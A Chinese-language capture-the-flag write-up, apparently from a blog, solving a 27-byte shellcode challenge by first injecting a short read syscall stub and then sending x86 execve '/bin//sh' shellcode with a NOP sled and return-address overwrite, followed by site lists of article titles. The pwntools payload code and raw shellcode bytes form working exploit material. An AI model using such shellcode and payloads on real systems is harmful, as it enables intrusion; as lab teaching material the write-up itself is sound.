shell-storm 这里可以有一些可以用的shellcode,不过自己写才是biner的骄傲 /奋斗

0x00 不会写shellcode(和一条咸鱼有什么区别/哭)

0x01 这题目前有俩种解法

1. shellcode直接获取shell,这种解法需要较强的shellcode编写能力,因为只能输入27字节,要求shellcode1足够短

2. 先自己构造个read然后扩大读取字节,再获取shell,这样shellcode长度就不是问题了

0x02 我选择的是第二种,完全是因为自己不会写shellcode。/气哭

1.先构造read

# read_asm
shellcode = asm("mov al, 0x3")
shellcode += asm("add cl, 0xc")
shellcode += asm("mov dl, 0xff")
shellcode += asm("int 0x80") #read_more
padding = '\x90' * (13-len(shellcode))
payload = shellcode + padding + p32(buf_Addr)
Io.send(payload)

2.再获取shell

# system_asm
shellcode1 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f"
shellcode1 += "\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" #get_shell
payload1 = '\x90' * 16 + shellcode1
Io.send(payload1)

3.我犯的一个错误

#get_shell
payload1 = '\x90' * 13 + p32(buf_Addr + 13 + 4) + shellcode1
Io.send(payload1)

因为之前构造的read已经把EIP指向了栈,所以第二次不需要再覆盖函数返回地址,就可以直接指向shellcode。感谢re0x6d大佬耐心指导,

最新文章

  1. psql-03数据类型(1)
  2. asr,tts,vsr
  3. 我的工具箱之MySql Front 5.3
  4. 优化Linux下的内核TCP参数来提高服务器负载能力
  5. ecshop 商店设置,新增或者修改字段
  6. 处理emacs-org模式TODO的一个脚本
  7. SGU 319 Kalevich Strikes Back(线段树扫描线)
  8. 未知的生成错误 因为没有预加载,所以无法解析程序集 GalaSoft.MvvmLight
  9. 时间相关库<ctime>解析
  10. 【Android Developers Training】 93. 创建一个空验证器
  11. ubuntu下php不能显示中文的问题的解决过程。
  12. 运行项目Tomcat报错
  13. html5全解析
  14. MySql数据库通过idb和frm恢复
  15. coTurn测试程序之 turnutils_uclient
  16. FZU 2150 Fire Game (bfs+dfs)
  17. 最好使用%f输出浮点数据,acm
  18. SD从零开始03-04
  19. Android SDK版本号与API Level 的对应关系-转
  20. Nagios系列1,选择

热门文章

  1. 336. Palindrome Pairs(can't understand)
  2. HDU4791【杂】
  3. Codevs 1794 修剪花卉
  4. perl C/C++ 扩展(三)
  5. c++的substr()函数
  6. Storm编程入门API系列之Storm的Topology多个Workers数目控制实现
  7. 【转】Effective C#观后感之提高Unity中C#代码质量的21条准则
  8. linux 的iptables失效解决方法
  9. Windows server 2003 + IIS6 搭建Asp.net MVC运行环境
  10. React 实践记录 03 React router